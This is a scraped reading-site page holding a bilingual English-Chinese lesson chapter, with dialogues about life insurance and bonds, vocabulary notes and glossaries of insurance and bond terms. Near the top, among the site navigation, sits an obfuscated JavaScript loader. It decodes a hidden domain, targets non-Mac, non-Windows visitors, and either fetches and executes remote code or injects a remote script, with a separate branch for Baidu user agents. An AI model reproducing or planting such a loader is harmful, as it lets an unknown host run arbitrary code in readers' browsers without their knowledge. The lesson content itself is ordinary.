妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

06 投资(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

托尼和凯文正在办公室里讨论保险的事。

tony: i&#039;ve just take out an insurance policy. are you insured?

托尼:我刚领到了保险单。你买保险了吗?

kevin: what insurance? our company has offered us retirement insurance, medical insurance and unemployment insurance, doesn&#039;t it?

凯文:什么保险?我们公司不是已经给我们买了养老保险、医疗保险和失业保险了吗?

tony: yeah, but are you sure you have purchased enough insurance for you and your family? i took out a life insurance policy and make my wife beneficiary. i need to make sure that my wife will be financially secure if i die.

托尼:是的,但是你确信你已经为你和你的家人买了足够的保险吗?我买了份人寿保险,受益人是我的太太。如果我死了,我要确保我的太太有足够的经济保障。

kevin: that&#039;s a good idea.

凯文:你的想法不错。

tony: i can terminate my life insurance policy when i retire and use the money as a pension. that&#039;s one of the conditions of my policy.

托尼:我退休时可以不用再交人寿保险费用,拿那笔钱做养老金。这是我的保单上的一个条件。

kevin: oh, i see. i think i also have to consider an insurance for my family.

凯文:哦,我明白了。我觉得我也要为我的家人买份保险了。

tony: that&#039;s true. here, call my agent. he&#039;ll give you a good deal.

托尼:是啊。给你这个,你可以给我的代理人打电话,他会给你一个合理的价钱。

notes

1. take out 带……出去;除掉;办理;(on)对……发泄

2. retirement insurance 养老保险

3. medical insurance 医疗保险

4. unemployment insurance 失业保险

5. beneficiar [?beni&#039;fi??ri] n.受惠者,受益人

6. terminate [&#039;t?:mineit] v. 结束,终止,满期;达到终点

7. pension [&#039;pen??n] n. 养老金,退休金;抚恤金;(欧洲等地的)私人小旅店;v. 发退休金

小贴士

各种“保险”的说法:

endowment insurance / retirement insurance 养老保险

medical insurance / hospitalization insurance 医疗保险

unemployment insurance 失业保险

employment injury insurance 工伤保险

childbirth insurance 生育保险

accident insurance 意外保险

accident death insurance 意外死亡保险

death insurance 死亡保险

earthquake insurance 地震保险

health insurance 健康保险

life insurance 人寿保险

national health insurance 国民健康保险

social insurance 社会保险

债券理财知多少

dialogue

steven meets jack on his way to the company. they are talking about how to make money begets money.

史蒂文在去公司的路上遇到了杰克。他们正在讨论怎样让钱生钱。

steven: now the prices are skyrocketing,so i plan to make personal investment to lay up some money for the future.

史蒂文:现在物价飞涨,我打算做些投资为将来存一些钱。

jack: in my opinion, savings, stocks and bonds are good alternatives for investment.

杰克:在我看来,储蓄、股票和债券都是很好的投资选择。

steven: yeah, but i would not like to be a speculator in the stock market. i may lose all i have. if i put my money in a bank, it&#039;s much safer. however, after several years, it may erode the real value of my money.

史蒂文:是的,但是我不想炒股,不想做一个投机者。那样我或许会失去一切。如果我把钱存在银行,会比较安全。但是,几年后,这些存款的实际购买力会下降。

jack: quite reasonable. why don&#039;t you buy bonds? it&#039;s safe and the interest is much higher than bank&#039;s.

杰克:有道理。那你为什么不买债券呢?那样比较安全,利息比银行储蓄的利息要高很多。

steven: what&#039;s bond? i only know a little about it.

史蒂文:什么是债券?我只知道一点点。

jack: it&#039;s a certificate issued by a government or a company acknowledging that money has been lent to it and will be paid back with interest. there are three kinds of bonds divided according to the different issuers: government bond, financial bond and corporate bond.

杰克:它是政府或公司发行的有息并偿还本金的债券。按照发行主体的不同可以分为以下三种:政府债券、金融债券和公司债券。

steven: can you explain these in more detail?

史蒂文:你能说得再详细点吗?

jack: of course. but we have arrived at our company. what about getting off work?

杰克:当然可以。但是我们已经到公司了。

下班后再讲好吗?

steven: ok.

史蒂文:好的。

notes

1. skyrocket [&#039;skai?r?kit] n. 冲天火箭(烟火);v. 使……上升;陡升,猛涨

2. lay up 储备;暂停使用;使卧床不起

3. speculator [&#039;spekjuleit?] n. 投机者,投机商人;思索家

4. erode [i&#039;r?ud] v. 腐蚀,侵蚀

小贴士

fixed rate bond is a bond where the coupon&#039;s interest rate remains fixed for the entire term. it pays a pre-determined coupon.

固定利率债券是指在整个债券有效期限内,债券的息票利率保持不变的债券。它支付预决息票。

floating rate note(frn)is a bond where the coupon&#039;s interest rate is changed periodically in accordance to a specific market rate.

浮动利率债券是息票利率根据一定市场利率而发生周期性变化的债券。

zero coupon bond is a bond that is issued and sold at a discount, pays no interest and provides payment of the face value at maturity. this type of bond is rare, as the entire risk to investors is concentrated at the maturity date where the principal becomes payable.

零息债券是打折出售的到期不支付利息只支付面值的债券。这种债券很少见,因为投资者的全部风险都集中在债券到期日,即付本金的时候。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间